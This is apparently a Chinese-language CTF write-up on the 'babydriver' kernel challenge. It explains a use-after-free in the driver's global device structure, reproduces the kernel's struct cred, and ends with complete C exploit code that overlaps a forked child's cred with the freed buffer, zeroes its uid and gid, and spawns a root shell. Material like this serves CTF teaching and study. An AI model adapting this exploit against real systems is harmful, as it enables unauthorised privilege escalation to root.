搞定 环境之后 一切就很简单了起来 (起码做题自闭 总比 环境自闭好多了)
然后 参考链接是 wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/
至于 题目 wiki上都给好了 我们直接看驱动吧 这个题目确实是baby
没有任何的防护措施 而且符号表也没有 去掉 在很大程度上 把这个题简单化了
WIKI提供了两种思路 这个是第一种 UAF
看一下题目
这里的函数的大概意思 都能够百度的到 如果想具体了解的话 这就需要一些书籍和视频资料了
其实在这里就是很简单的一个程序 创建字符设备 然后 注册函数 注册 模块类型 然后 创建设备
值得注意的点就是这个设备结构体是全局的 也就是说 如果我们创建两次那么 第二次的会把第一次的给覆盖掉
这个就是UAF
那么 怎么提权 这里有一个结构体
cred
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
其中的改变其中的参数就可以提权 不过 怎么修改呢
在这里 我们可以改变缓冲区的大小
其中 可以设定 buf_len的长度大小
但是有一点 需要明白的是,,,
思路是fork 把进程的大部分内容直接给复制到另一个内容
但是怎么确定 fork 也就是子进程的 cred 正好落入“已经被free”的 设备缓冲区呢
那么需要把他的大小给确定了
看源码是一个选项,另一个选项是 自己一个驱动 然后看一下大小
在我上一篇博客上面有一个 细节
那么 确定好之后直接 写代码就ok了
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1=open("/dev/babydev",2);
int fd2=open("/dev/babydev",2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1,0x10001,168);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid=fork();
if(pid<0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2,zeros,28);
if(getuid()==0)
{
puts("[+] get root!");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}